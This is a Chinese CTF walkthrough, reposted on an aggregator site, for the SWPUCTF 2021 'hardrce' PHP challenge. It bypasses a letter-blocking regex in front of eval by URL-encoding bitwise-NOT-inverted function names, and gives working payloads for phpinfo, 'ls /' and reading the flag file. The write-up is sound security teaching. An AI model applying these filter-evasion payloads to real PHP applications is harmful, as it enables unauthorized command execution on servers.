码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • NSSCTF[SWPUCTF 2021 新生赛]hardrce(无字母RCE)


    代码审计:

    使用get方式请求给wllm传参

    使用preg_match函数正则匹配过滤掉了一些符号

    '\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`'

    以及 [a-zA-Z] 即所有的大小写字母

    如果传入内容满足这些条件则会执行eval函数

    URL编码取反绕过正则实现RCE:

    直接传入肯定不行

    此时我们可以对需要使用的函数进行取反,然后再进行URL 编码;

    在发送 payload 的时候将其取反,便可还原代码;

    因为取反操作后基本上用的都是不可见字符,所以不会触发正则匹配。

    对于没有参数的函数,比如phpinfo();

    这里没有过滤括号和分号,所以我们对phpinfo取反编码再取反即可

    使用~对phpinfo进行取反操作,再使用urlencode函数对其进行编码

    得到 %8F%97%8F%96%91%99%90

    构造payload:?wllm=(~%8F%97%8F%96%91%99%90)();   #phpinfo();

    传入之后成功回显

    注意:在使用取反编码再取反进行绕过时,想要执行我们指定的代码,传入的payload必须要满足 (函数名)() 这样的形式,否则在取反之前PHP解释器并不知道是要执行一个函数,取反之后就算是一个函数也不会被当作代码执行。

    我们可以验证一下,如果将phpinfo()整体取反编码再取反,是否会执行呢?

    得到%8F%97%8F%96%91%99%90%D7%D6

    构造payload:?wllm=(~%8F%97%8F%96%91%99%90%D7%D6);   

    按道理来说它也是 phpinfo();

    但是传入之后发现代码并没有被执行

    因此我们在使用这种方法的时候一定要注意满足要求的格式

    接下来我们介绍有参数的函数:

    同样需要满足上述要求,不同的是需要分别对其中的字符进行编码

    比如我们想执行system('ls /');

    分别对 system 和 ls / 进行取反、编码,输出"\n"是用来换行

    得到

    %8C%86%8C%8B%9A%92

    %93%8C%DF%D0

    再分别对它们再次进行取反操作

    构造payload:?wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);

    命令执行成功,发现存在名为flllllaaaaaaggggggg的文件

    我们尝试获取它

    构造payload: ?wllm=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);

    拿到flag

    NSSCTF{36209fa9-5341-4a17-b668-ac020cdee0e6} 

  • 相关阅读:
    Redis AOF日志
    【MySQL】数据库基础介绍(使用Navicat和SQLyog演示创建和使用数据库的基本操作)
    普冉PY32F071单片机简单介绍,QFN64 48封装,支持 8 * 36 / 4 * 40 LCD
    面试总结之Spring篇
    Transformer - Attention Is All You Need - 跟李沐学AI
    springboot使用自定义属性类
    python毕业设计作品基于django框架新闻信息管理系统毕设成品(2)网站功能
    十一届财经峰会,群硕凭借掌汇云荣获数字化先锋产品奖
    动手实践丨使用华为云IoT边缘体验“边云协同”
    [leetcode] 264. 丑数 II
  • 原文地址:https://blog.csdn.net/Myon5/article/details/133768393
  • 最新文章
  • 沪漂五周年了:我越来越迷茫了
    Agentic Skill Routing 实战:别再把所有 Skill 塞进 AI Agent 上下文
    MySQL-Seconds_behind_master的精度误差
    [MAF预定义ChatClient中间件-03]CachingChatClient——利用缓存省钱省时间
    AI的至暗历史:从万众期待到被政府撤资,AI的两次死亡徘徊
    Agent OS :五种驯服不确定性的范式
    PortSwigger SQL注入LAB11
    数据库即时编译JIT
    [Begin]AI Learn Data Day 0
    深度学习进阶(二十七)现代 LLM 的核心架构设计其二:SwiGLU
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
小工具 小游戏
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1

京公网安备 11010502049817号